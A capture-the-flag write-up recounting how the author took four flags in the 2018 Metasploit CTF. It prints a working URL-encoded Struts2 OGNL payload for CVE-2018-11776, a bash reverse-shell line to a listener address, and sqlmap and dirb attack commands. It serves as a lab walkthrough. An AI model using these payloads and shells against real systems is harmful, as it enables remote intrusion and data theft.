MetasploitCTF-2018 Write-Up
METASPLOIT CTF is an international CTF organization traditionally organized by Rapid7. In my article, I will tell you about the capture of the 4 flags that I had acquired during the competition.
ssh -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
nmap -sS -T4 -sV -p- target
ssh -D 8080 -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
10 of Hearts (Port:8080 - Target:Ubuntu)
Struts2 application running on 8080 port. I won't go into too much detail. I have tried many exploit. Including the vulnerability of CVE-2017-5638 too. However, there was a new vulnerability in 2018 with CVE-2018-11776. You can review this article proving vulnerability. (https://github.com/hook-s3c/CVE-2018-11776-Python-PoC) After reading the exploit, remote code execution can be performed with a payload as below.http://172.16.23.21:8080/showcase.action/%24%7B%28%23_memberAccess['allowStaticMethodAccess']%3Dtrue%29.%28%23cmd%3D'[COMMAND HERE]'%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28'os.name'%29.toLowerCase%28%29.contains%28'win'%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B'cmd.exe'%2C'/c'%2C%23cmd%7D%3A%7B'bash'%2C'-c'%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.actionBy using this vulnerability, we can log on remotely and run the commands easily. we can use bash script command to connect with netcat.
bash -i >& /dev/tcp/172.16.23.20/6655 0>&1
find -name "*flag*" find -name "*hearts*" find -name "*diamonds*" find -name "*clubs*" ...After trying a while we capture the flag file. We needed to transfer the flag file to our computer and to get the md5 hash. We can do this by taking the base64 code of the file. After getting the base64 code, you can use any online decode site. Then we catch the flag. Flag : 38b8c45772c8d254144d4e4f597bc81a
8 of Diamonds (Port:8181 - Target:Ubuntu)
When the 8181 port is accessed, we see a page called "8 of Diamonds". That's the name of our flag. First we can think this is a flag :) but it's not. When the source code is examined, we can see that the JavaScript code is running in the background. But in this image, something might be hiding. We're reviewing the image. Steganography methods and data fields such as exif, meta-data can be examined on the image file. However, when we check with the "strings" command which allows us to quickly look at the codes it contains, we encounter a hint. texthint = JSObfu JSObfu is a Javascript obfuscator written in Ruby published by Rapid7. (https://github.com/rapid7/jsobfu) However, we need to deobfuscate javascript codes in the source. not obfuscate. When we read the Github comments, we see an online site information that we can perform the deobfuscate transaction. We can obfuscate through this site (http://m1el.github.io/esdeobfuscate) after copying the javascript codes. After deobfuscate operation, we see that there are 2 different base64 image code. The first one is our troll image file :) But the second is the flag we're looking for. Flag : e36f54b8a3cae7a137917f16b96907593 of Diamonds (Port:8880 - Target:Ubuntu)
When we connect to port 8880, we find a script called secure file storage. After reviewing the site, only the "Unhackable" section attracts our attention. we will see how it unhackable :)) We discover that the "KEY" parameter works on "load.php" If we don't try sql injection, we'il die :)) Sqlmap time! We are launching the attack with simple parameters.sqlmap -u "http://172.16.23.21:8880/load.php?KEY=test" --dbs --random-agent
3 of Clubs (Port:31063 - Target:Ubuntu)
When we browse the 31063 port, we get a very simple web interface. We understand that we need a special and one word to catch the flag. After we had a lot of ideas, we had to understand that we had to perform a Brute Force attack. Which wordlist to use for Brute Force attack should be considered well. We are in the Metasploit CTF competition :) So we need to use the wordlist belonging to Metasploit-Framework. We can see all the wordlists from this directory. (/opt/metasploit-framework/embedded/framework/data/wordlists) May try to use the frequently used "password.lst" wordlist. The most appropriate tool for this attack will be "dirb". Because the words will put the ".png" extension to the end. and we want to get a quick scan. We can start scanning with a dork as follows.dirb [target] [worlist] -X [extension]
Ambitious days ;) (AkkuS)